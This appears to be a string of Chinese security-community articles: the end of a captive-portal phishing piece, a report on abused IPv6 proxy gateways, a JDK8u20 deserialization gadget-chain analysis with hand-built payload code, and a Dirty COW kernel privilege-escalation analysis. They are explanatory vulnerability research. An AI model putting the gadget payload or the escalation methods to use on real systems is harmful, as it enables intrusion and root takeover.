所以，当连入恶意热点的Android客户端后台开启了含有漏洞的ES文件浏览器时，我们甚至可以直接从设备上获取照片、视频、文档了。
顺便提一句，官方已经完成修复并上架应用市场，Android用户看到这记得升级一下。
### 利用Captive Portal进行钓鱼
如果无线客户端本身不存在漏洞，我们还可以利用Captive Portal来进行一些攻击。
前面提到用户在开启VPN前，需要经过Captive Portal强制门户的认证，大部分无线设备都会自动出来一个弹窗，如下图所示。
在打开的网页中，通常通过账号密码、手机验证码、微信认证等形式进行认证来开通网络权限，否者是没网的。
攻击者同样可以在恶意热点上实现Captive
Portal认证，并自定义Portal主页对用户进行欺骗钓鱼，比如假言需要在表单中填入个人信息来换取免费使用网络，如下图所示。
简单来说，这利用了在开启VPN前，需要通过Portal页面开通网络权限的间歇进行了钓鱼攻击。
### 进一步利用Portal
在Pwn2own 2018上，有许多通过浏览器发起的攻击都利用到了WiFi Captive Portal的特性进行自动触发。
我们来仔细看看这个Portal浏览器，它与正常的系统浏览器是不一样的，出于安全考虑它并没有包含所有功能，比如Cookie、下载等功能都被限制了，但在部分手机系统上是支持URL
Scheme的。
<scheme>://<host>:<port>/<path>?<query>
URL
Scheme是iOS和Android提供给开发者的一种APP跳转方式。Android应用在Mainfest中注册自己的Scheme，iOS应用在APP属性中配置。配置完成后，就可以通过url的形式唤醒APP。比如可以利用这个技术，在Portal浏览器中调用微信进行认证。
后来我认真想了想，怎么滥用这个特性。
连接WiFi自动打开商品淘宝页
2019最新乞讨方式
麻烦评论区补充idea
后来发现三星已经发现并修复了这个利用Captive Portal自动重定向到第三方应用的问题（SVE-2018-13474）。
我就想着给自己用来测试的miui也提一个，正好他们也有SRC。结果被忽略了，因为他们觉得不属于miui的问题。
好吧。
## 总结
虽然我们的终端设备通常不会直接暴露在互联网上遭到攻击，但很难确保在各类无线网络中是否存在潜藏着的攻击者。
这篇文章想表达三个重点：
1. VPN并不是公共热点的万能保护福，它能保护网络流量，但还可能遭到其他形式的攻击。
2. 请对所有热点采取默认不信任态度，尽量不连接公共热点。
3. 及时进行系统、软件的更新，确保对各类安全缺陷的修复。 | 社区文章 |
**作者：se162xg@知道创宇404积极防御实验室
时间：2020年7月27日 **
### 1\. 从IPv4到IPv6
IPv6的全称是“Internet Protocol version
6”，意为“互联网协议第6版”，是由国际互联网工程任务组（IETF）在1998年12月发布的最新版本互联网协议。相较于传统的IPv4协议，IPv6不仅扩展了原有的地址空间，还对网络层的通信机制进行了优化，使得报文处理过程在性能与安全性方面得以大幅提高。当前，在世界范围内IPv4与IPv6的应用仍处于“共存”状态，但从IPv4向IPv6的全面迁移已成为一种不可逆转的趋势。
一直以来，IPv4协议使用的是32位长度的网络地址，理论上最多只能为大约43亿设备分配独立地址。随着个人电脑、无线设备和各类智能终端的增多，显然，这一数值已不足以满足“万物互联”的需要。早在20多年以前，IETF就意识到了这一点，并将IPv6的网络地址长度增加到128位，这样，整个互联网世界就能够支持超过
3.4 * 1038
个独立设备进行自由寻址。这是一个怎样的天文数字？借用一个经典的比喻，我们可以用IPv6的地址空间为地球表层的每一颗原子分配一个地址，然后，剩余的地址数量也足以分配另外100+与地球同样大小的星球。
图1. 2010年～2020年谷歌应用服务IPv6用户访问趋势 
图2. 2020年5月中国IPv6活跃用户占比
Google在过去的十年内一直对来自IPv6网络的用户数量的进行着统计，截至2020年7月，通过IPv6网络访问Google应用服务的互联网用户比例大约为
30% 左右。而根据国家IPv6发展监测平台（china-ipv6.cn）的统计数据，截止到2020年5月，我国互联网IPv6活跃用户占比为
35.15%，优于同期世界范围内IPv6建设部署的平均水准。
### 2\. 国家推动下的IPv6部署
2017年11月，中共中央办公厅、国务院办公厅联合印发了《推进互联网协议第六版（IPv6）规模部署行动计划》，全面规划了建设基于IPv6互联网的总体目标，吹响了中国境内部署IPv6网络基础设施的号角。
2020年3月，工业和信息化部颁发了《关于开展2020年IPv6端到端贯通能力提升专项行动的通知》，细化了部署IPv6的各项具体要求。其中包括：
1. 要求各省（区、市）通信管理局、部属各单位、部属各高校、基础电信企业继续深化门户网站IPv6改造。
2. 到2020年末，门户网站二级、三级链接的IPv6比例达到85%以上。
3. 年度考核中将IPv6相关任务完成情况作为重要指标。
在全面构建IPv6网络基础设施的时代大潮中，部署具有IPv6兼容性的Web服务已经进化为一种自上而下的强制性合规要求。过去的几年里，知道创宇云安全已为包括国家互联网信息办公室、中国银保监会、中国公安部、中信建设、广发证券、中国交通建设集团、招商局集团等数十个国家重点政府单位、大型央企、金融机构和高等院校的互联网应用服务成功完成了IPv6安全合规改造及IPv6安全防护工作。
### 3\. IPv6大数据
基于知道创宇云防御体系在2020年上半年（1月至6月）记录的生产环境真实数据，我们将从几个维度切入，客观还原当下IPv6网络的应用现状及受威胁程度。
图3. 2020年上半年IPv6网络访问趋势
2020年1月至6月，来自IPv6网络的正常访问流量随着时间推移持续增加。整个上半年，全平台内IPv6网络应用日均访问量超过 2900万
次，IPv6流量在总流量中占比约 0.33%。
图4. 2020年上半年IPv6地址数量监测趋势
这一周期内，每日独立IPv6地址的监测数量呈现平缓上升的趋势，且与IPv6正常访问流量增长趋势较为符合。每一天，平均有大约 286万
具有独立IPv6地址的访问源对知道创宇云防御平台接入的IPv6网络服务进行访问。
图5. 2020年上半年IPv6网络攻击拦截趋势
在统计区间内，知道创宇云防御平台日均拦截来自IPv6网络的攻击超过 11万
次。如上述趋势图所示，在2020年5月中旬至5月末出现了一波明显的攻击高峰，这一时段与2020年两会召开时段基本吻合。总体来看，半年内IPv6总流量中约有
3.8% 的流量份额是被知道创宇云防御体系识别并拦截的Web攻击流量。
**2020年上半年IPv6攻击源地域分布TOP 10**
地域 | 攻击次数
---|---
中国 | 18,532,742
保留地址(区域未知) | 889,858
美国 | 372,709
德国 | 155,256
法国 | 109,676
新加坡 | 63,190
俄罗斯 | 26,961
荷兰 | 26,363
加拿大 | 20,442
日本 | 16,810
整个半年内，制造IPv6网络攻击的攻击源仍以中国境内IPv6地址为主。除去尚未被分配的IPv6保留地址攻击源，剩余的主要IPv6网络攻击发起地域全部属于发达国家。这一现象也从另一个角度反映了目前世界范围内IPv6网络升级仍是以经济发展水平较高的国家为主导的。
### 4\. 一种新型网络威胁
#### (1) 利用IPv6代理的搜索引擎收录
近期，知道创宇威胁情报中心的安全研究员监测到一种新型互联网黑产技术手段，部分黑产人员可以利用部署在公共网络的具有漏洞的IPv6代理服务实现国内外知名搜索引擎对各类违法网页的收录。
图6. 某搜索引擎恶意页面收录
由于这种配置漏洞的存在，任何人都可以通过点击一个经过特殊构造的URL链接，使用代理服务器绑定的域名来访问其它域名下部署的网络服务。例如，若某个政府网站“example.gov.cn”已成功部署IPv6代理服务，那么在浏览器地址栏中输入“http://https
--www--baidu--com.proxy.example.gov.cn”（可能具有不同的格式）之后敲击回车键，浏览器中实际呈现的页面将会是百度官网的页面。
图7. IPv6代理服务使用方法演示
由于中国IPv6网络当前的发展状况，目前部署有IPv6代理服务的机构多为政府单位、央企国企及高等院校，因此相关代理服务器的域名也以“gov.cn”或“edu.cn”为主。这类域名往往在搜索引擎排名算法中具有极高的收录权重，通过这类域名收录的页面会在搜索结果列表中排名十分靠前，更容易被普通用户发现。黑产人员正是凭借这种特性来滥用高权重IPv6代理域名对违法的色情或博彩网站进行伪装，提高其曝光度，从而实现敛财的目的。
以下是一部分我们搜集到的被搜索引擎成功收录的违法内容页面：
图8. 被收录的恶意页面一  图9. 被收录的恶意页面二
图10. 被收录的恶意页面三
知道创宇404积极防御实验室长久以来一直致力于对互联网公共安全事件的监控与挖掘，对于之前监测到的类似安全事件，均已直接或通过相关监管部门及时上报给各客户单位，避免了恶意事件的进一步发生。可以说，此类可被公开利用的IPv6代理服务并不是个例，而是一种较为“普遍”的现象。仅在过去的几个月内，我们就累计为23家重点单位发现并上报了错误配置IPv6代理服务被滥用的安全事件。
#### (2) 域名审核机制绕过
这种投毒式的高含金量域名滥用还可以帮助黑产团伙轻松地绕过一些审查机制。比如，某些移动端APP从内置浏览器内请求外链之前会先对处于域名黑名单的站点进行阻断，防止非法违禁内容的传播。然而，通过使用具有高可信度域名的IPv6代理，可以给违法站点披上一层合法的外衣。下图就是一次访问博彩类站点的成功绕过过程演示。第一次在某客户端的内置浏览器直接访问网站域名，请求被系统拦截;第二次通过IPv6代理访问，可以在浏览器中成功打开站点。
图11. 利用IPv6代理绕过域名审核演示
#### (3) 漏洞分析
在发现类似的安全事件之后，404积极防御实验室的安全研究员结合自身丰富的一线业务安全经验，第一时间对这类漏洞产生的原因进行了分析。经研究，上述黑产团伙所利用的漏洞是一种IPv6代理服务器域名未验证漏洞。由于代理服务器未对被代理链接进行域名合法性验证，导致任意外域链接可通过代理服务器被成功访问。
为验证这一漏洞的存在，在IPv6环境下使用curl命令经由某个具有漏洞的代理请求自己搭建的站点，可以看到来自IPv6代理的响应中出现了站点首页的内容“ipv6
test”。
图12. IPv6代理滥用POC
值得说明的是，这类漏洞与受害站点源站本身没有直接关系，而是由IPv6改造服务提供商直接造成的。为了解决IPv6“天窗问题”，即在IPv6页面中请求内嵌IPv4外链时遇到的响应缓慢或无法访问的状况，服务提供商往往会架设IPv6代理网关对这些IPv4外链进行代理。如果代理网关在设计中忽视了域名验证这一关键环节，就会导致恶意滥用事件的发生。
从本质上讲，能够通过代理发起任意请求也可以看作一种特殊的服务端请求伪造漏洞（SSRF）。我们选取了一个有漏洞的IPv6代理服务进行验证：先在一个VPS上的80端口开启
HTTP Web服务，从浏览器里通过IPv6代理访问VPS的域名，可以看到，Web服务的访问日志中出现了一条来自该代理服务器IP地址
`180.*.*.28`的请求记录。
图13. SSRF漏洞POC
尽管这一类漏洞的原理不是十分复杂，它的危害性还是较为严重的。如果政府部门或高等院校的网站域名指向了违法违禁的内容页面，甚至被利用进行相关内容的传播，会对单位网站的声誉造成不良影响。另一方面，代理服务器如果缺少访问限制，很可能会被大量的外来的请求耗尽带宽资源和计算资源，正常服务就会受到影响。更为严重的是，由于SSRF漏洞的存在，黑客可能会利用漏洞网关对外部站点发起网络攻击，利用代理本身的IP地址伪造自己的身份，让网站管理员无法溯源。
#### (4) 防护方案
当前市面上的IPv6代理网关主要使用以下两种方式对被代理域名进行验证。
1. 由网站管理员人工维护一个域名白名单。IPv6在进行代理服务之前会检查被代理域名是否处于当前的白名单中，对于不在名单内的域名，网关会返回403状态码禁止访问。
2. 在代理链接中添加一段签名字符串。例如：“www.baidu.com.ed93c2.proxy.example.gov.cn”，其中“ed93c2”就是将被代理域名“www.baidu.com”和密钥拼接后一并进行哈希函数计算得到的哈希值（部分）。代理网关在收到请求后会首先重复这个哈希计算过程，如果计算后的得到签名与代理链接中提供的签名不一致，则会拒绝本次代理请求。由于外部人员不知道代理网关使用的密钥，也就无法通过伪造签名来伪造代理请求。
### 5\. 总结
由IPv4向IPv6的升级过程中，新生的威胁一定会不可避免的涌现出来，而DDOS、CC、SQL注入、网站后门等在传统IPv4网络中屡见不鲜的恶意攻击手段也同样时刻威胁着IPv6的网络应用服务。在网络安全领域，防护工作是一个具有“木桶效应”的命题，在线业务的安全可靠程度永远取决于木桶上最短的那一块木板。甲方单位在选取IPv6改造服务时，一定要考虑到相关服务的攻击防范能力，不仅要快速合规，也要防患于为然。
* * * | 社区文章 |
近期出现了一些需要基于序列化数据进行修改加以利用的漏洞，例如Weblogic的CVE-2021-2211（基于JDK8u21）、OFBiz的CVE-2021-30128，在构造POC时都需要直接对序列化数据进行修改，而JDK8u20这条链无疑是一个非常好的用来学习这方面知识的例子，因此在诸位前辈的文章指引下，再详细的记录一下这条利用链的一些细节和思路。
## 0x01 序列化相关知识
### 序列化数据结构
以这段代码为例
AuthClass authClass = new AuthClass("123456");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./authClass.bin"));
oos.writeObject(authClass);
oos.writeObject(authClass);
oos.close();
将同一个对象执行两次writeObject，序列化数据经过SerializationDumper处理如下，其中new_handle的值是SerializationDumper标注出的，实际并不存在。
序列化数据内容依次如下：
* STREAM_MAGIC 数据头 0xaced
* STREAM_VERSION 序列化数据版本呢 0x0005
* TC_OBJECT 0x73 表示接下来的序列化数据是一个object，用0x73表示，除了Object，还有TC_REFERENCE、TC_STRING等，具体可见java.io.ObjectStreamConstants，分别表示接下来不同的数据类型，对应不同的处理方法。
* TC_CLASSDESC 0x72类的描述符 标识接下来是类的一些属性以及信息等等信息
* Length 0x00 30 类名长度
* Value 0x79736f73657269616c2e7061796c6f6164732e7765626c6f6769635f686967682e74657374243141757468436c617373 类名
* serialVersionUID 0x00 00 00 00 00 00 00 64序列化数据ID
* newHandle 0x00 7e 00 00 这个是SerializationDumper手动添加的，实际的序列化数据中不存在这个值，便于后续计算REFERENCE
* classDescFlags 0x02 类描述符标记，一个单位标记符
* fieldCount 0x0001 对象的成员属性的数量
* Fields 对象的成员属性(包含了属性名及属性类型)
* Object 0x4c 标识成员类的种类，除了L(0x4c)还有B(Byte)、C(char)等。
* Length 0x0008 成员名长度
* Value 0x70617373776f7264 成员名
* TC_STRING 0x74成员类型
* newHandle 0x00 7e 00 01 第二个handle
* Length 0x00 12 长度
* Value 0x4c6a6176612f6c616e672f537472696e673b
* TC_ENDBLOCKDATA 0x78 标识一个类结束
* superClassDesc 0x70父类的类描述
* classdata 类的成员变量的值
* TC_STRING 0x74 字符串类型
* newHandle 0x00 7e 00 03 值对应的handle
* Value 0x313233343536 成员变量的值
* TC_REFERENCE 0x71 第二个对象，是个reference类型
* Handle 0x00 7e 00 02 handle的地址
一共出现了4个handle，用readObject读取这四个handle标识的对象
0x007e0000 ysoserial.payloads.weblogic_high.test$1AuthClass.class
的ObjectStreamClass对象，对应TC_CLASSDESC的内容
0x007e0001 char[]对象，标识成员属性（password）的类型
0x007e0002 ysoserial.payloads.weblogic_high.test$1AuthClass.class对象
0x007e0003 ysoserial.payloads.weblogic_high.test$1AuthClass.passsword的值
通过reference，可以实现在readObject时，反序列化任意已经序列化过的对象，以及它们的一些字段。
### 反序列化过程
在一个类被反序列化的过程中，会经历defaultReadFields过程。用来初始化序列化数据中的Fields字段中的内容。在hashSet的反序列化过程中，它是不存在任何field的，因此不会反序列化。但是可以通过在序列化的数据中加入field内容，从而迫使它在readFields时去反序列化类。并放在类描述符的fields字段中。
## 0x02 漏洞原理
jdk8u20这条链是jdk7u21的绕过。jdk7u21的补丁中，在AnnotationInvocationHandler的readObject方法中，增加了对代理类的判断，要求必须为annotation类型，否则会报错。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {*
*var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
虽然增加了检测，但是检测出现在defaultReadObject之前，在报错之前AnnotationInvocationHandler对象还是被正常还原了。
而jdk7u21的利用中不需要用到AnnotationInvocationHandler后需的操作，只需要这个对象被正确还原即可。因此现在的思路是，通过一个包裹类，它的readObject方法中会调用readObject方法，
并且catch了异常，使得AnnotationInvocationHandler被顺利反序列化，并在后续被用上。
JDK7u21的利用链如下，分别反序列化两个类，然后在put的方法中触发proxy的invoke。补丁打在了
第二个对象—handler的反序列化过程中。
JDK8u20这条链的思路是增加一个不存在的field字段，这个字段中是一个序列化类，它包裹住AnnotationInvocationHandler，catch住AnnotationInvocationHandler反序列化过程中的异常，并且在后续的反序列化中不报错，它会被正常反序列化。然后在需要AnnotationInvocationHandler的时候，替换为之前field反序列化中生成的AnnotationInvocationHandler的reference。
这个field字段可以加在两个地方，一个是HashSet的field字段，另一个是hashSet的成员的field。jdk8的利用链使用的包裹类为java.beans.beancontext.BeanContextSupport类。
private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
synchronized(BeanContext.globalHierarchyLock) {
ois.defaultReadObject();
initialize();
bcsPreDeserializationHook(ois);
if (serializable > 0 && this.equals(getBeanContextPeer()))
readChildren(ois);
deserialize(ois, bcmListeners = new ArrayList(1));
}
}
public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
int count = serializable;
while (count-- > 0) {
Object child = null;
BeanContextSupport.BCSChild bscc = null;
try {
child = ois.readObject();
bscc = (BeanContextSupport.BCSChild)ois.readObject();
} catch (IOException ioe) {
continue;
} catch (ClassNotFoundException cnfe) {
continue;
}
synchronized(child) {
BeanContextChild bcc = null;
try {
bcc = (BeanContextChild)child;
} catch (ClassCastException cce) {
// do nothing;
}
if (bcc != null) {
try {
bcc.setBeanContext(getBeanContextPeer());
bcc.addPropertyChangeListener("beanContext", childPCL);
bcc.addVetoableChangeListener("beanContext", childVCL);
} catch (PropertyVetoException pve) {
continue;
}
}
childDeserializedHook(child, bscc);
}
}
}
可以看到在readObject方法中调用了ois.defaultReadObject();并接着调用readChildren方法处理流，这个方法中进行了readObject，并且catch了异常。
对照jdk7u21生成的序列化数据进行构造，同时参考这条链的发现者的思路进行构造，<https://github.com/pwntester/JRE8u20_RCE_Gadget/blob/master/src/main/java/ExploitGenerator.java，在构造中需要注意一个点：AnnotationInvocationHandler有一个成员属性，memberValues，是一个map类型，在jdk7u21中，是这样构造的，>
HashMap map = new HashMap();
map.put(zeroHashCodeStr, templates);
但在jdk8u20中，pwntester是这样构造的
HashMap map = new HashMap();
map.put("f5a5a608", "f5a5a608");
初看时很奇怪，这条链这样也能触发吗？经过实际的构造后理解了作者的用意。这条链在触发中确实需要这个map的值为templates对象，但是如果直接设成templates，由于这个templates已经在HashSet中put过一次，因此会在序列化数据中留下大量的TC_REFERENCE引用，还会出现多次引用等情况，导致构造时很乱。但是像作者这样设置成和key相同的值时可以正确触发吗？其实是不能的，但是由于在put时设置为键和值相同的值，序列化数据中值被序列化时不会直接存储，而是存储成一个TC_REFERENCE，指向key，然后作者修改了这个引用，修改为指向之前hashSet在put时生成templates对象，从而避免了大量的TC_REFERENCE修改。因此作者选择在初始化第二个类的时候才放入恶意类到field中。最终生成的数据，以及对引用的修改如下，跟原作者略有不同。
Object[] ser =new Object[]{
STREAM_MAGIC,
STREAM_VERSION,
//linkedHashset
TC_OBJECT,
TC_CLASSDESC,
LinkedHashSet.class.getName(),
-2851667679971038690L,//serID
(byte)SC_SERIALIZABLE,//classDescFlags
(short)0,
TC_ENDBLOCKDATA,
TC_CLASSDESC,
"java.util.HashSet",-5024744406713321676L,
(byte)(SC_SERIALIZABLE|SC_WRITE_METHOD),
(short)0,//fieldCount
TC_ENDBLOCKDATA,
TC_NULL,
//hashSet readObject
TC_BLOCKDATA,
(byte) 12,
(short)0,
(short)16,
(short)16192,(short)0,(short)0,
(short)2,
//first
templates,
//second
TC_OBJECT,
TC_PROXYCLASSDESC,
1,
Templates.class.getName(),
TC_ENDBLOCKDATA,
TC_CLASSDESC,
Proxy.class.getName(),
-2222568056686623797L,
SC_SERIALIZABLE,
(short)2,
//fake
(byte)'L',"fake", TC_STRING,"Ljava/beans/beancontext/BeanContextSupport;",
(byte)'L',"h",TC_STRING,"Ljava/lang/reflectInvocationHandler;",
TC_ENDBLOCKDATA,TC_NULL,
//classData
TC_OBJECT,
TC_CLASSDESC,
BeanContextSupport.class.getName(),
-4879613978649577204L,
(byte)(SC_SERIALIZABLE | SC_WRITE_METHOD),
(short)1,
(byte)'I',"serializable",
TC_ENDBLOCKDATA,
//super class
TC_CLASSDESC,
BeanContextChildSupport.class.getName(),
6328947014421475877L,
SC_SERIALIZABLE,
(short)1,
(byte)'L',"beanContextChildPeer",
TC_STRING,"Ljava/beans/beancontext/BeanContextChild;",
TC_ENDBLOCKDATA,
TC_NULL,
//classdata
TC_REFERENCE,baseWireHandle+25, //beanContextChildPeer
1, //serializable
//readChildren
TC_OBJECT,
TC_CLASSDESC,
"sun.reflect.annotation.AnnotationInvocationHandler",
6182022883658399397L, // serialVersionUID
(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
(short) 2, // field count
(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
TC_ENDBLOCKDATA,
TC_NULL, // no superclass
map, // memberValues field value
Templates.class, // type field value
//deserialize
TC_BLOCKDATA,
(byte) 4, // block length
0, // no BeanContextSupport.bcmListenes
TC_ENDBLOCKDATA,
//h
TC_REFERENCE,baseWireHandle+29,
TC_ENDBLOCKDATA
};
public static byte[] patch(byte[] bytes) {
for (int i = 0; i < bytes.length; i++) {
if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) {
i = i + 4;
System.out.print("Adjusting reference from: " + bytes[i]);
if (bytes[i] == 1) bytes[i] = 4; //
if (bytes[i] == 0x0a) bytes[i]=0x0d; //templates
if (bytes[i] == 2) bytes[i]= 9;
System.out.println(" to: " + bytes[i]);
}
}
return bytes;
}
QAX的一位大佬写了一个SerialWriter项目，实现了面向对象生成序列化数据的方法，无需手动计算Reference地址。地址：<https://github.com/QAX-A-Team/SerialWriter> 。
## 0x03 参考及引用
[Java 8u20反序列化漏洞分析
(qq.com)](https://mp.weixin.qq.com/s/TAjfHEJCvP-1yK2hUZlrbQ)
[JRE8u20反序列化漏洞分析](https://www.freebuf.com/vuls/176672.html)
[【技术分享】深度 - Java 反序列化 Payload 之
JRE8u20](https://www.anquanke.com/post/id/87270)
[pwntester/JRE8u20_RCE_Gadget: JRE8u20_RCE_Gadget
(github.com)](https://github.com/pwntester/JRE8u20_RCE_Gadget)
<https://github.com/QAX-A-Team/SerialWriter> | 社区文章 |
# 【漏洞分析】CVE-2016-5195 Dirtycow: Linux内核提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **A7um**](http://bobao.360.cn/member/contribute?uid=183557479)
**稿费：700RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**漏洞概要**
**漏洞编号：** CVE-2016-5195
**漏洞类型：** 内核竞态条件漏洞
**漏洞危害：** 本地提权
**影响范围：** Linux kernel>2.6.22 (released in 2007)
这个漏洞是在10月18号被Phil Oester提交，被Linux的创始人Linus亲自修复。10月20号，漏洞的发现者Phil
Oester将漏洞的部分细节提交到github上。当天朋友圈就被这个漏洞刷屏了，毕竟是几乎是通杀全版本linux的本地提权的神洞，这种漏洞还是很少见的。
[官方github放出的POC](https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c)已经可以实现向任意可读文件写任意内容，所以有了这POC基本上也就可以拿到rootshell了。比如我们可以写/etc/passwd，修改相应用户的UID来达到提权的目的，我们还可以通过写一些带S位的root
owned的binary程序的代码，使其执行execve(binsh)等等，方法还是有很多的。
本文默认读者了解以下技术：
[写时拷贝(Copy on
Write,COW)](http://www.cnblogs.com/biyeymyhjob/archive/2012/07/20/2601655.html)
[竞态条件](http://baike.baidu.com/link?url=KYVGZZs3z1EstguoNCFaEmaPe-_bfbiQ47_uoP8H2HvLXxYIDtoUttgWymYFqfGOLcuY943QERhwmm-TtEDulwx7bY60s93Kho6Y8T31-enDKKVSAR4OQEkuDE2cdyUY)
页式内存管理
[缺页中断处理](http://blog.csdn.net/chenyu105/article/details/7061845)
**基础知识**
在正式的分析漏洞之前，我们首先对官方github的POC中涉及的几个系统调用与系统文件进行简单的讲解
mmap(void* start, size_t length, int prot,int flags,int fd, off_t offset)
这是一个相对比较常用的函数，这个函数的一个很重要的用处就是将磁盘上的文件映射到虚拟内存中，对于这个函数唯一要说的就是当flags的MAP_PRIVATE被置为1时，对mmap得到内存映射进行的写操作会使内核触发COW操作，写的是COW后的内存，不会同步到磁盘的文件中。
madvice(caddr_t addr, size_t len, int advice)
这个函数的主要用处是告诉内核内存addr～addr+len在接下来的使用状况，以便内核进行一些进一步的内存管理操作。当advice为MADV_DONTNEED时，此系统调用相当于通知内核addr～addr+len的内存在接下来不再使用，内核将释放掉这一块内存以节省空间，相应的页表项也会被置空。
ssize_t write(int fd, const void* buf, size_t count)
这也是一个很常见的函数,主要作用是向fd描述符所指向的文件写入最多count长度的buf中的内容。
/proc/self/mem
这个文件是一个指向当前进程的虚拟内存文件的文件，当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间，并无视内存映射时的权限设置。也就是说我们可以利用写/proc/self/mem来改写不具有写权限的虚拟内存。可以这么做的原因是/proc/self/mem是一个文件，只要进程对该文件具有写权限，那就可以随便写这个文件了，只不过对这个文件进行读写的时候需要一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。
**触发原理**
为了便于理解，我们首先概述一下这个漏洞的触发原理
当调用write系统调用向/proc/self/mem文件中写入数据时，进入内核态后内核会调用get_user_pages函数获取要写入内存地址。get_user_pages会调用follow_page_mask来获取这块内存的页表项，并同时要求页表项所指向的内存映射具有可写的权限。
第一次获取内存的页表项会因为缺页而失败。get_user_page调用faultin_page进行缺页处理后第二次调用follow_page_mask获取这块内存的页表项，如果需要获取的页表项指向的是一个只读的映射，那第二次获取也会失败。这时候get_user_pages函数会第三次调用follow_page_mask来获取该内存的页表项，并且不再要求页表项所指向的内存映射具有可写的权限，这时是可以成功获取的，获取成功后内核会对这个只读的内存进行强制的写入操作。
这个实现是没有问题的，因为本来写入/proc/self/mem就是一个无视映射权限的强行写入，就算是文件映射到虚拟内存中，也不会出现越权写：
如果写入的虚拟内存是一个VM_PRIVATE的映射，那在缺页的时候内核就会执行COW操作产生一个副本来进行写入，写入的内容是不会同步到文件中的
如果写入的虚拟内存是一个VM_SHARE的映射，那mmap能够映射成功的充要条件就是进程拥有对该文件的写权限，这样写入的内容同步到文件中也不算越权了。
但是，在上述流程中，如果第二次获取页表项失败之后，另一个线程调用madvice(addr,addrlen,
MADV_DONTNEED),其中addr~addr+addrlen是一个只读文件的VM_PRIVATE的只读内存映射，那该映射的页表项会被置空。这时如果get_user_pages函数第三次调用follow_page_mask来获取该内存的页表项。由于这次调用不再要求该内存映射具有写权限，所以在缺页处理的时候内核也不再会执行COW操作产生一个副本以供写入。所以缺页处理完成后后第四次调用follow_page_mask获取这块内存的页表项的时候，不仅可以成功获取，而且获取之后强制的写入的内容也会同步到映射的只读文件中。从而导致了只读文件的越权写。
**控制流的分析**
接下来我们看一下该漏洞的内核代码，并根据代码对内核控制流进行分析，以对漏洞进行进一步的详解
首先贴一下相关函数的精简版，虽然是精简版，但是看起来还是挺费劲的，所以我建议大家可以先大致扫一下这一部分的内容，然后继续看后面的控制流分析。然后根据控制流分析回过头再来查阅这些函数，相关函数的完整版见Reference。
get_user_pages{//这是一个Wrap
...
return __get_user_pages() //获取用户内存的核心函数
...
}
__get_user_pages(vma,...,int flag,...){
...
retry:
...
page = follow_page_mask(...,flag,...); //获取页表项
if (!page) {
int ret;
ret = faultin_page(vma,...); //获取失败时会调用这个函数
switch (ret) {
case 0://如果返回为0，就重试，这是一个循环
goto retry;
...
}
}
follow_page_mask(...,flag,...){
//这个函数会走 页一集目录->二级目录->页表项 的传统页式内存的管理流程
...
return follow_page_pte(...,flag,...); //走到了流程的第三步：寻找页表项
...
}
follow_page_pte(...,flag,...){
...
//如果获取页表项时要求页表项所指向的内存映射具有写权限，但是页表项所指向的内存并没有写权限。则会返回空
if ((flags & FOLL_WRITE) && !pte_write(pte)) {
pte_unmap_unlock(ptep, ptl);
return NULL;
}
//获取页表项的请求不要求内存映射具有写权限的话会返回页表项
return pages;
...
}
faultin_page(vma,){
...
//处理page fault
ret = handle_mm_fault();
//这个if对应了上一个函数的注释，如果是因为映射没有写权限导致的获取页表项失败，会去掉flags中的FOLL_WRITE标记，从而使的获取页表项不再要求内存映射具有写的权限。
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
...
return 0；
}
handle_mm_fault(){
__handle_mm_fault()
}
__handle_mm_fault(){
handle_pte_fault()
}
handle_pte_fault(){
//页表为空，说明缺页。调用do_fault调页
if (!fe->pte) {
...
return do_fault(fe);
}
//页表不为空，但是要写入的页没有写权限，这时可能需要COW
if (fe->flags & FAULT_FLAG_WRITE) {
if (!pte_write(entry))
return do_wp_page(fe, entry);
...
}
}
do_fault(fe){
//如果不要求目标内存具有写权限时导致缺页，内核不会执行COW操作产生副本
if (!(fe->flags & FAULT_FLAG_WRITE))
return do_read_fault(fe, pgoff);
//如果要求目标内存具有写权限时导致缺页，目标内存映射是一个VM_PRIVATE的映射，内核会执行COW操作产生副本
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(fe, pgoff);
}
do_cow_fault(fe,pgoff){
//执行COW， 并更新页表为COW后的页表。
new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, fe->address);
...
// __do_fault会将内存
ret = __do_fault(fe, pgoff, new_page, &fault_page, &fault_entry);
...
copy_user_highpage(new_page, fault_page, fe->address, vma);
ret |= alloc_set_pte(fe, memcg, new_page);
...
return ret
}
do_read_fault(fe,pgoff){
...
//不执行COW，直接映射文件。
__do_fault(fe, pgoff, NULL, &fault_page, NULL);
...
ret |= alloc_set_pte(fe, NULL, fault_page);
...
ret
}
alloc_set_pte(fe,...){
bool write = fe->flags & FAULT_FLAG_WRITE;
//如果执行了COW，设置页表时会将页面标记为脏，但是不会标记为可写。
if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
}
do_wp_page(fe,entry){
....
//内核通过检查，发现COW操作已经在缺页处理时完成了，所以不再进行COW，而是直接利用之前COW得到的页表项
return wp_page_reuse(fe, orig_pte, old_page, 0, 0);
}
wp_page_reuse(){
将页面标记为脏，但是不会标记为可写。
entry = maybe_mkwrite(pte_mkdirty(entry), vma);
}
